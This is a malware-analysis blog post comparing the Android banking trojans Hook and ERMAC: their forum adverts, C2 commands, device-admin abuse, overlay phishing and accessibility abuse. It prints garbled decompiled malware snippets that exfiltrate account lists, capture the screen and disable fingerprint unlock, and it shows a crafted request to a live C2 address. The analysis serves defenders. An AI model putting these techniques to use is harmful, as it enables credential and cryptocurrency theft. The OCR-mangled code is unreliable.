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Summary

Hook and ERMAC are Android based malware families that are both advertised by the actor
named “DukeEugene”. Hook is the latest variant to be released by this actor and was first
announced at the start of 2023. In this announcement, the actor claims that Hook was written
from scratch [1]. In our research, we have analysed two samples of Hook and two samples
of ERMAC to further examine the technical differences between these malware families.
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After our investigation, we concluded that the ERMAC source code was used as a base for
Hook. All commands (30 in total) that the malware operator can send to a device infected
with ERMAC malware, also exist in Hook. The code implementation for these commands is
nearly identical. The main features in ERMAC are related to sending SMS messages,
displaying a phishing window on top of a legitimate app, extracting a list of installed
applications, SMS messages and accounts, and automated stealing of recovery seed
phrases for multiple cryptocurrency wallets.

Hook has introduced a lot of new features, with a total of 38 additional commands when
comparing the latest version of Hook to ERMAC. The most interesting new features in Hook
are: streaming the victim’s screen and interacting with the interface to gain complete control
over an infected device, the ability to take a photo of the victim using their front facing
camera, stealing of cookies related to Google login sessions, and the added support for
stealing recovery seeds from additional cryptocurrency wallets.

Hook had a relatively short run. It was first announced on the 12th of January 2023, and the
closing of the project was announced on April 19th, 2023, due to “leaving for special military
operation”. On May 11th, 2023, the actors claimed that the source code of Hook was sold at
a price of $70.000. If these announcements are true, it could mean that we will see
interesting new versions of Hook in the future.

The launch of Hook

On the 12th of January 2023, DukeEugene started advertising a new Android botnet to be
available for rent: Hook.
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Jan 12, 2023

Android Botnet Hook

bots stotistic

DukeEugene
ZIEYsavVRY® [V

Joined: Mar 13, 2019
gt
Reaction score: 575 — —
Escrow deals: 3
Deposit: 0.0001 B Gedlocation / 1P
' | - samsung SM A3 26U
4 ¢ o

u Screen saw 14572720

Forum post where DukeEugene first advertised Hook.

Hook malware is designed to steal personal information from its infected users. It contains
features such as keylogging, injections/overlay attacks to display phishing windows over
(banking) apps (more on this in the “Overlay attacks” section of this blog), and automated
stealing of cryptocurrency recovery seeds.

Financial gain seems to be the main motivator for operators that rent Hook, but the malware
can be used to spy on its victims as well. Hook is rented out at a cost of $7.000 per month.

800+ injections are available to you in the panel.

Everyone knows my reputation and how many years | have been on the android malware market, if anyone has doubts, | agree with both hands on the guarantor of this foru
The software was written from scratch. Yes, undoubtedly we used some developments from the “old® software. But in general, the software was written from scratch and | a
For details, contact me in PM.

Rental price 7k $ per month

Forum post showing the rental price of Hook, along with the claim that it was written from
scratch.

The malware was advertised with a wide range of functionality in both the control panel and
build itself, and a snippet of this can be seen in the screenshot below.
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EM: Greetings to all!
| am glad to inform you about the release of new software for Android Bot Hook

Panel functionality:

* Filtering/Search

+ Privilege control

+ Extensive statistics

+ Auto-commands

* Phishing

* Smart injections (interaction with the holder in real time)

» Day/Night theme

+ Language selection (English, Chinese, Russian)

+ Authorization in case of incorrect password entry several times via telegram bot, done to avoid bruteforce of your account.
+ The ability to receive logs from the injection into the tg bot
+* Notify the tg bot if the bot is online again.

» Convenient sorting

Build functionality:

« Call history

* Get a contact

+ Add a contact

* Location

* Get images

* Open the app

» Send a whatsapp message

« call

«VNC

* File Manager

* Redirect sms

* Send sms

* Sending SMS to user contacts
« USSD

+ Call forwarding

* Send push

* Get accounts

+ List of installed applications

* SMS list

* Open the injection

* Update the list of injections

» Open the link

+ Delete the app

* Reading Gmalil

+ Get admin rights

* Take a screenshot

« Clear the cache/memory of the application
+* Pull out LED phrases (8 wallets)
* Turn off PlayProtect

Some of Hook’s features that were advertised by DukeEugene.

Command comparison

Analyst’s note: The package names and file hashes that were analysed for this research
can be found in the “Analysed samples” section at the end of this blog post.

While checking out the differences in these malware families, we compared the C2
commands (instructions that are sent by the malware operator to the infected device) in each
sample. This analysis did lead us to find several new commands and features on Hook, as
can be seen just looking at the number of commands implemented in each variant.
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Sample Number of commands

Hook sample #1 58

Hook sample #2 68

Ermac sample #1 #2 30

All 30 commands that exist in ERMAC also exist in Hook. Most of these commands are
related to sending SMS messages, updating and starting injections, extracting a list of
installed applications, SMS messages and accounts, and starting another app on the victim’s
device (where cryptocurrency wallet apps are the main target). While simply launching

another app may not seem that malicious at first, you will think differently after learning about
the automated features in these malware families.

Hook

e Auto commands

Application Application Application SEED phrase

tttttttttttttt

Automated features in the Hook C2 panel.
Both Hook and ERMAC contain automated functionality for stealing recovery seeds from

cryptocurrency wallets. These can be used to gain access to the victim’s cryptocurrency. We
will dive deeper into this feature later in the blog.

When comparing Hook to ERMAC, 29 new commands have been added to the first sample
of Hook that we analysed, and the latest version of Hook contains 9 additional commands on
top of that. Most of the commands that were added in Hook are related to interacting with the
user interface (Ul).

Hook command: start_vnc

The Ul interaction related commands (such as “clickat” to click on a specific Ul element and

“‘longpress” to dispatch a long press gesture) in Hook go hand in hand with the new
“start_vnc” command, which starts streaming the victim’s screen.
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public static void d() {
72.c.a c$al;

try {
a.b();
Activity activity® = (Activity)o2.i.a.get();
c$a@ = null;

Object object® = activity® == null ? null : activity®.getSystemService("media_projection");
if(object® == null) {

throw new NullPointerException(”null cannot be cast to non-null type android.media.projection.MediaProjectionManager”);
}

e.g = (MediaProjectionManager)object®;
Activity activityl = (Activity)e2.i.a.get();
if(activityl !'= null) {
MediaProjectionManager mediaProjectionManager® = e.g;
if (mediaProjectionManager® != null) {
c$af = mediaProjectionManager®.createScreenCapturelntent();
}
a;tivityl.startActiuityForResult[f{IwLqulc$aa]. e.n);
A decompiled method that is called after the “start_vnc” command is received by the bot.
In the code snippet above we can see that the createScreenCapturelntent() method is
called on the MediaProjectionManager, which is necessary to start screen capture on the
device. Along with the many commands to interact with the Ul, this allows the malware
operator to gain complete control over an infected device and perform actions on the victim’s

behalf.

HOOk bots statistic
) online 0 new
e — VNC (Virtual Network Computing)
Fishing No selected bot, you can select bot here -> Here. And click this button  we

Permissions

File manager

VNC CONTROLS VNC VIEWPORT
Smart injections
Auto commands Press Right-Click to &y e
see button description

== English v [ @)

Select bot and start VNC

Text mode
Disable screen view

Sockets

Controls for the malware operator related to the “start_vnc” command.

Command implementation
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For the commands that are available in both ERMAC and Hook, the code implementation is
nearly identical. Take the “logaccounts” command for example:

"logaccounts” in ERMAC

try {

t[] arr_account = » g getlcontextsl getl\ccounts[]
c.h_checkIfobjectIsNull{arr_account, "get{cont ):
int v = 8;
while(true) {

if(v >= arr_account.length) {
goto Lak H
}

t account® =
g

arr account([v];

\: t jSONObject® = new NObject();
jSONObject®.put(“name", account®.name);
jSONObject®.put({“type", account®.type);
jSONArrayd.put(jSONObjecta);

}

}

catch[ unused ex) {

. :msorurraya length() > 0) {

= jSONArray@.toString();
c.h checklfoh;ectls"ullts *list.toString()");

b.a.i_possEncryptAndSendToC2{contextd, "", s, "otheraccounts");

bject jSONObjectl = new JSONObject();
jSOmb]!ttl put{“logAccounts”, "ok"};

ng s1 = jSONObjectl. toStrlngiJ
c.h checkIfObJectIsHulltsl “gbj.tostring()");
b.a.i pussEn(ryDtandSendToCZIcuntexts. *“, s1, “logAccounts”);

}

"logaccounts™ in Hook

try {
nt[] arr account = /
i.c checklmb]E:tIsHulltarr accuunt

r.get(this.f).getAccounts();
get{ctx).accounts”);

wh;le[true] {

1Hv == arr account length) {
goto label 17;

t accountd = arr aLcnunt[v]

A t jSDNODJectB i [V H
JSONObJectB put(“name"”, accullnte name?
jSONObjectd. put( tyl:r' . account®.type);
JSONArrayd.put(jSONObjectd);
break;

}
}
catch(Excepti
g.1.getClass();

exceptiond) {

a.g possEncrypt;\nﬂSendTnCZi . "zozucozu " + exceptiond.getLocalizedMessage(), "error”);
goto labe

}

Y

goto label 4;

tring s = jSONArray®.toString();

i.c_checkIfobjectIsNull(s, "list.toString()");

g.i.getClass();

a.g_possEncryptAndSendToC2("", s, "otheraccounts");

a.g_possEncryptAndSendToC2("", “zozucozu " + jSDN.nrrayﬂ length(), "success”);

Decompiled code that is related to the “logaccounts” command in ERMAC and Hook.

This command is used to obtain a list of available accounts by their name and type on the
victim’s device. When comparing the code, it's clear that the logging messages are the main
difference. This is the case for all commands that are present in both ERMAC and Hook.

Russian commands

Both ERMAC and the Hook v1 sample that we analysed contain some rather edgy
commands in Russian, that do not provide any useful functionality.

ERMAC

if(!re.c.b checkIfEqual(sl lowerCaseC2Command,
return;

1

try {

file@ = new File(context®.getDir("apk”, @), "system.apk”);

 fileo.delete();

"CROXHW_TOT_KTO_pazpesepcun_31o")) {

Hook 1

if(s22 lowerCaseC2Command.equals(“Cpoxws ToT KTo pazpes
try {
ext contexts8 = a.appcontext;
exceptionHandling.c_checkIfObjectIsNull(contexts8);
new File(context8.getDir("apk™, @), "system.apk”).delete();

}

Decompiled code which contains Russian text in ERMAC and first versions of Hook.
The command above translates to “Die_he_who_reversed_this".

Russian - detected -

COOXHU _TOT_KTO X

_pa3peBepcusn_3
TO

— English -

Die_he who reverse
d_this

epcun_3to")) {
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All the Russian commands create a file named “system.apk” in the “apk” directory and
immediately deletes it. It appears that the authors have recently adapted their approach to
managing a reputable business, as these commands were removed in the latest Hook
sample that we analysed.

New commands in Hook V2

In the latest versions of Hook, the authors have added 9 additional commands compared to
the first Hook sample that we analysed. These commands are:

vommana pescriptuon

One of the already existing commands, “onkeyevent”, also received a new payload option:
“‘double_tap”. As the name suggests, this performs a double tap gesture on the victim’s
screen, providing the malware operator with extra functionality to interact with the victim’s
device user interface.

More interesting additions are: the support for stealing recovery seed phrases from other
crypto wallets (Safepal and Exodus), taking a photo of the victim, and stealing session
cookies. Session cookie stealing appears to be a popular trend in Android malware, as we
have observed this feature being added to multiple malware families. This is an attractive
feature, as it allows the actor to gain access to user accounts without needing the actual
login credentials.

Device Admin abuse

Besides adding new commands, the authors have added more functionality related to the
“‘Device Administration API” in the latest version of Hook. This APl was developed to support
enterprise apps in Android. When an app has device admin privileges, it gains additional
capabilities meant for managing the device. This includes the ability to enforce password
policies, locking the screen and even wiping the device remotely. As you may expect: abuse
of these privileges is often seen in Android malware.

DeviceAdminReceiver and policies
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To implement custom device admin functionality in a new class, it should extend the
“DeviceAdminReceiver”. This class can be found by examining the app’s Manifest file and
searching for the receiver with the “BIND_DEVICE_ADMIN” permission or the
“DEVICE_ADMIN_ENABLED” action.

<receiver android:description=" * androld:exported=" = android:label="" android:name=" * androld:permission="
<meta-data android:names" = android:resources" ==
<intent
<ac

filters>

n android:name="

n android:name=" i

n android: name=" "

n android:name=" !

n android:name=" N
n androld: name=" X

n android:name="

-filter>

Defined device admin receiver in the Manifest file of Hook 2.

In the screenshot above, you can see an XML file declared as follows:
android:resource="@xml/buyanigetili. This file will contain the device admin policies that
can be used by the app. Here’s a comparison of the device admin policies in ERMAC, Hook
1, and Hook 2:

ERMAC Hook 1 Hook 2
<?xml version=" * encoding=" "> <?xml version=" * encoding=" "> <?xml version=" " encoding=" 1>
<device-admin xmlns:android=" "> <device-admin> <device-admin>
<uses-policies> <uses-policies> <uses-policies>
<force-lock/> <force-lock/> <force-lock/>
<wipe-data/> <reset-password/> <disable-keyguard-features/>
</uses-policies> </uses-policies> <reset-password/>
</device-admin> =/device-admin> «watch-login/>

</uses-policies>
</device-admin>

Differences between device admin policies in ERMAC and Hook.

Comparing Hook to ERMAC, the authors have removed the “WIPE_DATA” policy and added
the “RESET_PASSWORD? policy in the first version of Hook. In the latest version of Hook,
the “DISABLE_KEYGUARD_FEATURES” and “WATCH_LOGIN” policies were added. Below
you’ll find a description of each policy that is seen in the screenshot.

vevice Aamin Folicy uescription
—USES_POLICY_FORCE_LOCK The app cantock the device
USES_POLICY_WIPE_DATA The app can factory reset the device

The “DeviceAdminReceiver” class in Android contains methods that can be overridden. This
is done to customise the behaviour of a device admin receiver. For example: the
‘onPasswordFailed” method in the DeviceAdminReceiver is called when an incorrect
password is entered on the device. This method can be overridden to perform specific
actions when a failed login attempt occurs. In ERMAC and Hook 1, the class that extends the
DeviceAdminReceiver only overrides the onReceive() method and the implementation is
minimal:
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public final class wicekokeyohowu extends DeviceAdminReceiver {
@iverride
public void onReceive(Context context®, Intent intent@) {
c.1 checkIfObjectIsNull(context®, "context™);
c.1 checkIfObjectIsNull(intent®, "intent");

}

Full implementation of the class to extend the DeviceAdminReceiver in ERMAC. The first
version of Hook contains the same implementation.

The onReceive() method is the entry point for broadcasts that are intercepted by the device
admin receiver. In ERMAC and Hook 1 this only performs a check to see whether the
received parameters are null and will throw an exception if they are.

DeviceAdminReceiver additions in latest version of Hook

In the latest edition of Hook, the class to extend the DeviceAdminReceiver does not just
override the “onReceive” method. It also overrides the following methods:

pevice Aamin wvietnoa pescripton

When the victim attempts to disable device admin, a warning message is displayed that
contains the text “Your mobile is die”.

public final class daliyeveka extends DeviceAdminReceiver {

@verride

public final CharSequence onDisableRequested(Context context®, Intent intent®) {
i.d checkIfObjectIsNull(context®, "context"};
i.d checkIfObjectIsNull(intent@, “intent");
g.i.getClass();
a.9_possEncryptAndSendToC2("", "AdminReceiver onDisableRequested ™ + intent®, “success"};
return "Your mobile is die™;

}
Decompiled code that shows the implementation of the “onDisableRequested” method in the
latest version of Hook.
The fingerprint scanner will be disabled when an incorrect password was entered on the
victim’s device. Possibly to make it easier to break into the device later, by forcing the victim
to enter their PIN and capturing it.
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pﬁhiic-final void onPasswordFailed(Context context®, Intent intent®) {
11 11e;
i.d_checkIfobjectIsNull(context®, "context”);
i.d checkIfobjectIsMull(intent@, “intent");
try {
mponentName componentName® = new ComponentName(context®, daliyeveka.class);
D -t object® = context®.getApplicationContext().getSystemService("device policy”);
if(objectd !'= null) {

{(Dev l yManager)object®) .getCurrentFailedPasswordAttempts();

((DevicePolicyManager)object®).setKeyguardDisabledFeatures (componentName8, 8x20);

g.i.getClass();

116 = a.g _possEncryptAndSendToC2("", “AdminReceiver onPasswordFailed setKeyguardDisabledFeatures KEYGUARD_DISABLE_FINGERPRINT " + intent®, “success");
goto label 13;

Decompiled code that shows the implementation of the “onPasswordFailed” method in the
latest version of Hook.

All keyguard (lock screen) features are enabled again when a correct password was entered
on the victim’s device.

public final void onPasswordSucceeded(Context context®, Intent intent8) {
11 11e;
i.d_checkIfobjectIsNull(context®, “context™);
i.d_checkIfobjectIsNull{intent®, “intent”);
try {
: componentNamed = new TN {context®, daliyeveka.class);
T object® = context®.getApplicationContext().getSystemService( device policy~);

if(objecte !'= null) {
({DevicePolicyMa er)objectd) . setKeyguardDisabledFeatures (componentName®, 8);
g.i.getClass();

116 = a.g possEncryptAndSendToC2("*, "AdminReceiver onPasswordFailed setKeyguardDisabledFeatures KEYGUARD DISABLE FEATURES NONE + intent®, "success");

goto label 1
}

Decompiled code that shows the implementation of the “onPasswordSucceeded” method in
the latest version of Hook.

Overlay attacks

Overlay attacks, also known as injections, are a popular tactic to steal credentials on Android
devices. When an app has permission to draw overlays, it can display content on top of other
apps that are running on the device. This is interesting for threat actors, because it allows
them to display a phishing window over a legitimate app. When the victim enters their
credentials in this window, the malware will capture them.

Both ERMAC and Hook use web injections to display a phishing window as soon as it
detects a targeted app being launched on the victim’s device.
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wabVie? = this.f:
ifiwebview2 1= sull)
wediiiewZ . setMebViewCLient (new bithis)|;

w oud = - wetiiewd = this.
ifiweiioed (= sll} { it(webvicwd 1= null) {
wetiviewd . addlavascriptinterfaceinew cos.muysjigufogu. yofo. yleecowaco. cijspabeso. cithis, this), “Andreid~}; webViewd. addJavascriptIntertace (new com, samuvolebicihely. soce, narussfuwe, hvayupahokogy. < [this. this), “Aedrold");

getbefsulti] . getlsnguage!)
aithis, this.c possInjectes

extd == null 7 aull : comtextd.getsharedPreferences-settin

ar_lang + s4_defaultLanguage + sharedPreterences? = a5 sharedprers;
i Preferences2 t= null) {

2 1= null) {
55 = sharegPrefer getstring(sd L i)

if(s3_injectedapphame == null) {
55_injectedAppliane = “;

w0 e, twar lang = " 4+ 83 defaultilasquage +

uz.g ncryptAndsendTocz| =", “start Inject + this.e_possInjectedippiase, iF]
¥

Decompiled code that shows partial implementation of overlay injections in ERMAC and
Hook.

In the screenshot above, you can see how ERMAC and Hook set up a WebView component
and load the HTML code to be displayed over the target app by calling
webView5.loadDataWithBaseURL (null, s6, “text/html”, “UTF-8”, null) and
this.setContentView() on the WebView object. The “s6” variable will contain the data to be
loaded. The main functionality is the same for both variants, with Hook having some
additional logging messages.

The importance of accessibility services

Accessibility Service abuse plays an important role when it comes to web injections and
other automated feature in ERMAC and Hook. Accessibility services are used to assist users
with disabilities, or users who may temporarily be unable to fully interact with their Android
device. For example: users that are driving might need additional or alternative interface
feedback. Accessibility services run in the background and receive callbacks from the
system when AccessibilityEvent is fired. Apps with accessibility service can have full
visibility over Ul events, both from the system and from 3rd party apps. They can receive
notifications, they can get the package name, list Ul elements, extract text, and more. While
these services are meant to assist users, they can also be abused by malicious apps for
activities such as: keylogging, automatically granting itself additional permissions, and
monitoring foreground apps and overlaying them with phishing windows.

When ERMAC or Hook malware is first launched, it prompts the victim with a window that
instructs them to enable accessibility services for the malicious app.
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. CaixaBankMow

CaixaBankMow
Enable CaixaBankMow

< Accessibility Service

DOWNLOADED SERVICES

Switch Access
TalkBack

CaixaBankNow

Instruction window to enable the accessibility service, which is shown upon first execution of
ERMAC and Hook malwatre.

A warning message is displayed before enabling the accessibility service, which shows what
actions the app will be able to perform when this is enabled.
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&0 & -

Use CaixaBankMNow?

CaixaBankNow needs to:

* Observe your actions
Receive notifications when youre interacting with an app.

* Retrieve window content
Inspect the content of a window you're interacting with.

* Turn on Explore by Touch
Tapped items will be spoken aloud and the screen can be explored using
gestures.

* Observe text you type

Includes personal data such as credit card numbers and passwords.

* Perform gestures
Can tap, swipe, pinch, and perform other gestures.

CANCEL oK

Warning message that is displayed before enabling accessibility services.

With accessibility services enabled, ERMAC and Hook malware automatically grants itself
additional permissions such as permission to draw overlays. The onAccessibilityEvent()
method monitors the package names from received accessibility events, and the web
injection related code will be executed when a target app is launched.

Targeted applications

When the infected device is ready to communicate with the C2 server, it sends a list of
applications that are currently installed on the device. The C2 server then responds with the
target apps that it has injections for. While dynamically analysing the latest version of Hook,
we sent a custom HTTP request to the C2 server to make it believe that we have a large
amount of apps (700+) installed. For this, we used the list of package names that CSIRT
KNF had shared in an analysis report of Hook [2].

14/32


https://i0.wp.com/blog.fox-it.com/wp-content/uploads/2023/06/image-17.png?ssl=1

Request

Pretty Raw Hex

8 »n =

1 POST mp{- php/ HTTP/1.1

2 User-Agent: Mozilla/S.0 (Windows NT 10.0; WOWS4) AppleWebKit/S37.36
(KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36

3 Content-Length: 25389

4 Content-Type: application/x-www-form-urlencoded

S Host: 91.215.85.223:3434

5 Connection: close

7 Accept-Encoding: gzip, deflate

8

- - < Oy 11
tA+va+xHGzgVWwlrR/ 3z JWZcCiicY shzogecyY9XRmK 2k GveWge6XBulicY SbOy6EsbZ3%n
OKK4b3ULB27IRcMkyc/ tBAFL xRL7XV] SUQR/T T yRrBwlkWzDxzL OxyDw/ UL oWeR+PY RS
d1ecVUADe CXT PwBevwpxnoWFL ZMLT /Gn581/RGC] z4] ) Ibo+fPpl/11lrd/ Mz GhAGUAVMK
1VlyU7QZz 1 KBeRNGrzY SqASboghSNr 3pCgcka ) GEBsEBtwXf 2UdV0ZwhOY gLZI 2Ny VSt
y3auMekbmt 141 tVzNFUjLs1IBBSROFLtIImyoOYeshAjkql /336taZAEV71fqlyt8w7pr
I/7SmelsUfvilu/Lr17R9fnfhVEf tTemvanbSvureIwwHbvFz9eBbtGmxf10D7MDf nO1S
GwuyHyeFszLcsXROgEK 710TOGU/ c6YwgSsKSf BtKzalm)mFyNDEVGpCMT f+oof 2XUFSY
xtWBZByP1OFULWET SWGFPCLT deTmuCKzzd3/x 17X SVUY ] OeWY tEEMKF cuBi bwT VODFUG
jFy4gswS1Bd6YGI fyy6gk SwEobwig3a/1P4g90rD] j FlspUBOei ++NKkkKqenGNd2Uj ExS
S+nZP/auB0kBCT SbBPESAWIAZK 72dDt 7vZ+280ANCUOAATPEEA] /K 7zFmWaf wmi Opob7
spsSORR/ JNZbocIk1QaYbQHe rclaxf 4L6AY GT dywHgSU1 SgZwWoi+51 | +K ez ZFDF2DK 3P
wllyzZKzgSON13BoLThRCQ7HrbET ehckPsS0Ahz GuRcBLg rXuAfECqlXd4lSdioPGdDe
elLCg3ALBuVDL aKdxtOvT s lacB3wACEA/ CvBNWVxX XTpNEk Zx+ZFWQbuznSMtwlX64qCua
71 gFUOx tNLLET XVgT oRRNHAL Z2vGLa 10qgQwk BMAWSXQEY ZB7NSw | R+ nK GULVRI SkdXg
UjwXHAJorsYfSChlHuBX7pp LH qAz 1zWX+maVxd7rivez]FZyaPpT Xt eB806MZ0reBtc
aFVNatl1tXKpxzKZILcjRF11lolzyz6mgl 1Xq26Uo+zgnyvr1P7QIYLSUuRmdoRI LCcCg
TJcIHHIPrZ7AdgONHGNNT r2mhhOLCmHFOz L G2pdzu8H7Y 3PFBQZRc G2ugdi ONSLUgy PB
ALKn&+5SM/ LmShSELUuE3pn LEEc43CRbWe t11A17 aJ1KOZHI D+ gY Z+BEPAWwLLOpT gXrv
P14zkBOGEN1921+GC0y T dAPAFL ] chUg1TKMOzHLBAUa / QnHa Qg 71 RDACOKh+403dseEu
pNBYMVRp Sg2XWEY Jxa7Zb /waYk r7] HAHDSTw] nABBwedBWbrepz2HnL1 qFTDPhGEzZL /o
d3hTVT 9GGyyLZKzc0Qc4z0r 310/ G4 f J tUcRFY gbNgOCszm2/ q42sZUGd qusWtFTLH1IM
rE0sA3Sf tFc1J0Z272500VEtf+HIPST rd+0srolsY XJazbViUckOILy Muy7CnxYQHgJwe
48WHONVBL] 10T vEcv 9dCY JzpgqEGLFOSMBAf y 04C6SNsU4s LADZHI Uv / thkNgLJ1 Cywu
0B6n+F/SKQe66NaRo7 /hNBI Zx x ASugSLG3FzbOBY kCBEHHy tc xnhQZ;ErueOJngFU?Rv
JocADSZpDorI04HHBYptpnSEWhTBbUY 11B10k yxnhySnRGFYsVDY CqFXbfw/mD3zgdv
15bhdl/scro7gukcR28M1f glBy t7200A6uPIkhQQUSg40] vLMy 7nQcOT f+Gy LgAz3xXHE
vk+s9GF] gGo3901T | FIEPdW731 ] SFmbENI 1 p8i 72b  3cGMU4GeY vOmY HK LP688wSbx f /
¥vLkWmx j yX6sVuyPLmOCt 30SqDZ0504e0057S3ThPSnGxPo0sz ralnQfwlm/eUDf LNDW
Gv1GGNUxezz+/n9owlyge /qKrWzFey4d1SeYbU7MIWA76gE2 G/ vbeMIpbHLuansT jTD
IFwRVLSUEWU2SpZGo0z1 ] 7qQvt10D2vZF+vp SNgUSFLgRDAMRWQNEdnv ] ] QF lej rSdlew
G7wGXrMgvWMXLIxMRSHEMPOvI MaElesrPReS4/ XFNFVgy /BB1G28P47 7 Wy InssFASNTQF
chBzZJaowkyegtPzd3qvuhaTing6QCzU0khoxnZ0Rz 1xbag8ro0in/pyXTquioy fudlkqy
nfDtPA+Cslrei1iG+1+1HBbBcaMaOT eXHid ) plqVw] ) rvl/C+ras2I dqwdy 2T feFyw+/
BHtOb+edsoQnds / AKFNT CLgk 6nr39ZytQlo/b74/MABG+1 0BEQMStLrswcc73sVaMqle
+55MNZf L1 CMgOBvAFMQXy ] pELJ tvZemeLMY+dVT azHBDSGMDt szUvBe0SmY Zmo31 /h
DlagV71tCBFxbg] thW/OtJa+IyusxSWxSvUg7KACVKOWPSEe ] cI1vzQ7ITnbRI TLNShRK
1yR/EerbOGX4FTT xV3+h2Duk jHMed08NQnsaWbsLD9al ovkD) ST tTho3spuayQzk fpis
Tu30ul1bNwig 1) GmQ0] sOVNQS1Y XphrDg/4sk 35dCLgWDSn] 1yKF4+412) aVkbyokskL
T3YPVglJgwksyLOFk yqBFRFzSbSFILYhEBOhuSQSs4yElkde jvblvd4vu73)bsduGosq
19q1LkPE1TzXAc8Yn/70] dyFx2+TS47kgSABz1 3+ ] yBk SmOSFHT uyPtHEPmMUPk Cvs ZFs
3m+azFyeUSL0334sncwsr ] 6Ayg2Y OWZSKE6y8LcWeOhWtl YUOd tvwwHIBSCONbECEqzZ ]

LB e cMat b 1 £ OPA DY Ty 18hef » Hhnat ADMZESAURATh (OLINY 95~ A anh3aE%~1 8c AD

Decrypted text:

"uid":"HW-J
"command":"updatelnjections","
apps”:["ae.ahb.digital”,"ae.alma
sraf.mobileapp”,"ae.hsbc.hsbcu
ae","air.app.scb.breeze.android.
main.my.prod"”,"air.com.inversis.
AndbankSmartphone”,"alior.ban
kingapp.android”,"app.alansari”,
"app.wizink.es","app.wizink.pt",
"ar.bapro”,"ar.com.bcopatagoni
a.android","ar.com.redlink.custo
m","ar.com.santander.rio.mbank
ing","ar.macro","at.erstebank.ge
orge"”,"at.ing.diba.client.onlineba
nking","at.rsg.pfp","at.spardat.b
at.volksbank.volksba

crmobile”,"
nkmobile", ..., ..., ..."]}

Part of our manually crafted HTTP request that includes a list of “installed apps” for our
infected device.

The server responded with the list of target apps that the malware can display phishing
windows for. Most of the targeted apps in both Hook and ERMAC are related to banking.
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Response

1

2 Access-Control-Allow-Credentials:

Raw Hex Render B n =

HTTP/1.1 200 OK

true
Access-Control-Allow-Headers: Accept, Authorization, Content-Type,
Content-Length, X-CSRF-Token, Token, session, Origin, Host,
Connection, Accept-Encoding, Accept-Language, X-Requested-wWith

4 Access-Control-Allow-Methods: POST, OPTIONS, GET, PUT, DELETE
S Access-Control-Allow-Origin: http://91.215.85.223/

5 Content-Type: text/plain; charset=utf-8
7 vate: I

.

Connection: close

9 Content-Length: 22400

10
11

bTMPoXnS1OUDMEQrT 1mdrJ2] 15] MEegOuo7XY e LEMP] 2UVUXAPGSGDKwbSeMM+ ral ruv
+HsweatylREE1IMIYoGe T 1XTazbeuR) 8ppCWALNShzZ ] VOhdwWzDes 1sHg ) axSzhlLrves
DdvBLNY q3yID7LwSFGESapT JUrU74H3yY ClsKS2ptd LFPwr LUSo X1 /FrEFL VI t+WSLOT
dtMVOEaNEg] r tNTm7XF4fSPcOeqz3ewSo0aygrglgebeNEX] ) TmlzFRY/ d9dFFaGwe0)
11KGxXNX6e1 3embuRZ70BSWLmt RwH/EBk 85U e+Q2e / eKQWi aRi Zg2y VullyTCF6/Ywe
CEGacSzMMXBLI x 1dvBwN7HI I yV+SphyIHIGmZrfqlj VFjuOEPWBOccBk zhT LRf ssGI j
Rwoyf qRgmnZ+ /10rHk ocgdf XgDVSWomyU1QcoOtDmLfnlgtU294Falog24505mLep XxE
1/qdEb9gFxankqlZvbNe 8T XzhQdBaURW7mPPWwUBA4) N2gY A70ASBYY B/+99Z5L 7B7FC
Q90QME3TU322Y SXWBXN3SqwuMRESEMK n L QKbP+Y Sdur 2B7F+b 7+ 44yN61gc vBo 4hPgR2
QzxgyNUN/4SrhbABqneG+adMNT X4Nm30HTY CNdek gtxJ r j NLwK JPpUQ/ DALPKBDGREMS
1p34N] E84TNEmz 14TN2X T D2pNPGy 7AgRUL H1+0t XGv VNI e r JTOXS0APT 1 2GgPT ZTHA3E
cO0VbeB/ ywSEL3yveB2m7pbQuscadi 6V8tk 41 9cYd2vb67uCEoRKy CMMho Z0v+zgXZ45
JBYcizlXrtmxFOaPBFES3ET+UZT Lqo+ ) /Nf ZNr e yDx s CSWOBQRYHEFY aGgBMAAGMIK Gy
dPVPHP3J16rWpzBBgFK 1h16VZBau1IMRSITMERApRSLe3NIK6peeDSybyc2mga+aLf TD
VR+0uKBJ ShekNOgh3+UXPBSdOSWRUZDI 35bsp T V7 1knSVgMBBET rGv2ux 1 Tn3NNTLBF
JkEdNLVehHVESSI+IUVECIVr 7LAKAI v /wlk ] JRHOSGXFGryZFD7ea,/ c)s697QD3WY GXB
riUx7sa0RakwWukDALKVZpVpnCKeZSvwY 7oVmo6aale 49 CLAREGS LCXMxE0VO0 /e 7 Awk
0eT3F]/ILG2aACvUmEk 72d0b3FbKzGdxKZKN1 7wa,/M/PpqDZQE] Bi SxZBPANSt QS0UW1
MhEBA3bX01DEhc txntwWmds 1V /nSBnmZ4 10wt rugTDLF+02ScY ] CSrkTLG+mruBk 8y /nD
y5ZuSOMbKTEDSbMzqfWibSLznR7tx/ ALvOKZER/MSyaDe VnEqOPXT HL xwyWtENTYDpZ]
B ¥x /9091 aWyRNEEL /Bo+UXzENLpAY+PsaZt209pSoFe 11 NSSNvmad LPVE7wSSUg9PED
Wivil)XTDz+cfIDrl4oc618hyIngBgSIIFE]) 02cTZ2V+Nv ImLCghdquCsJCac /Swt 1l
ronH4+ 1 1f vbOWKxIqT22PsB3ahXact x AWRLKNXWAPZDUY LXHI nvi f+H9) x 1 S3xMjn34L
eZJ2dtLsnbX0f BJ4N3] 1Dt x3zC7LEI DclauY /BRpgZOI f g4GDLHOp 1SNk e 1i MU bSPM
3a8020XDHrs 7GUPpYYsRy ] ] cUd) 0an0cS36+SmRs0QSY Phemgemay VCVLgroSsx thziv
7AB] BEGRESVMUoK81MOFVME] Z5TSgcPlEt CulskkPmT L2gvf fe 16VQor+Ebi RRgPCW7
Kubb7GHIHr S66NGT+SBUWALoL R+ Qde 95 ruS24x ShZB/BcDLANHXr xCut 6ascUe v 38P0g
7sBZZaQ2yWu3paN] xtdnTIO/ zr1hdxd,/HiWLX/mKeXme Lok rku+1fhkveRt fwlH1KUxC
OpCOVdoZNBvUVNGT 3rnFyE] MEpMwodQ3] gS20rP1881bpE+SerPBtY CoSmzeof N+ Z2qM
CIOSThUuDTbSY LMLOWZI VCqZASk AHxSL1 VxbmCESBOX/ gxdFnBZBterI17L4LT C4gd10
WY ckF4mPzxc X0t rZviR+makb 7SP211 exs j BPONLIHbns 2Q+2SNBDY 07CT xWGBnpwWBT ZD1
wStgupHHIT x7Q152Xtn201MPF4c xZ0s dwPImLBk BtNELzniqK3C70k cOcENT XOGY L 1+7
SEEPVKdTILMoK9]n3bv9a8R7yxBav+cclUdAY8/hhBRY s810BTNHbF1f 21 xnazs45JYE
